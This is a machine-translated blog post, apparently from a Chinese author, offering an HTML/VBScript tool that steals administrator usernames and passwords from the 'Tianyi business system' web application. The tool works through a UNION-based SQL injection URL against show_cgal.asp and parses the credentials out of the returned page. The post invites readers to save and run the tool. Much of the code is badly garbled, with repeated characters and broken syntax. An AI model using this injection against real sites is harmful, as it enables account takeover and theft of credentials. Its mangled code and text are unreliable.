天意ビジネスシステムのバックグラウンド管理アカウントが解読されました。
2999 ワード
//*慈勤強http://blog.csdn.net/cqq */前回天意ビジネスシステムの解析プログラムを書いてから、多くの友達から手紙をもらいました。手順の原理を聞きました。どのように保護するかを聞きました。今日はちょっと時間を割いて、このHtml版を作りました。このhttmファイルだけが信じられます。知識とSQL Injectionの知識の友達は原理が分かりやすくて、ユーザーのアカウントを解読するのはSQLを使います。 Injectionの方法は、このシステムの多くのところにsqlがあります。 injectionの穴を開けて、自分でこのシステムをダウンロードすれば、問題を見つけやすくなります。以前はVc++バージョンでしたが、今はhtmlのバージョンです。httpプロトコルでウェブページのソースファイルを取得してソースファイルを分析し、ユーザー名とパスワードを探して表示します。以下はソースコードです。このファイルをハードディスクに保存して、名前をty.httmと名付ければいいです。meta http-equiv="Conttent-Type"content="text/htmlcharset=gb 2312"/>天意ビジネスシステムのバックグラウンド管理アカウントが解読されました。版--慈勤強制作 VbScript">Function bytes 2 BSTR(vIn)streturn="“For i=1 To LenB(vInbit)Thise=Inder Code Corp=Inder Corc.(Thasp=Inder Coder Corc.)。H 80 The n streturn=streturn&Chr(ThisCharCode)Else Next CharCode=AcB(MidB(vIn,i+1,1)streturn=streturn&Chr(CLng)*&H 100+CInt(Next CharCode)i=i+1 End If Next bytes 2 BSTR=streturn End Function Sub OpenUrl(stral)struct="stration="straAAA="strCqq="i=0 on Error Resume Next While Trim"""""""""="/wlyx/show_cgal.asp?newsid==1%20 and%201=2%20 union%20 select%201,username%2 b'*'%2 bpassword,3,4,5,6%20 from%20 manage%2020%20 select% 20%20 from%20%20%20%20 from%20 cgal%20 20%20 cgal% 20 20 20%20%20 cgal% 20 20 here%201=2"set xmlhtp=CreateObjec(" Microsoft.XMLHTTP")xmlhtp.open,ststrerextttttdddddddddttttttttBBBtrtrtrtrtrtrtrtrtrtrtrtrtrtrtrtrtreeeeeeeeppppppppphtttttttttttttttttttttttttttttttttttttteBody)」""If Trim(>""The n arr=Split(straAAA)「***」)struser=arr(0)straCqq=straCqq+vbNewLine+「ユーザー名:」+struser+vbNewLine+「パスワード:」+arr(1)+vbNewLine Else stration=「End If/msbox=Resmtxhtch」アドレス:「+stststststrurl+」/admin)「+vbCrLF+VVBCRLF+stCqq+vbnewline cqdmin.innenenettMid=str 1=ststriCqq Else cqdmin.inneTex=」エラー「End If EnnnSub FFFunctgetMid(str,str,str,str 1,str,str 1,str,str 1,str 2,str 2,str 2,str 2,str 2,str 2,str 2)==========str,str,str,str,str,str,str,str 1,str,str Len(str 1)j-i-Len(str 1)End If End If getMid=str 11 End Function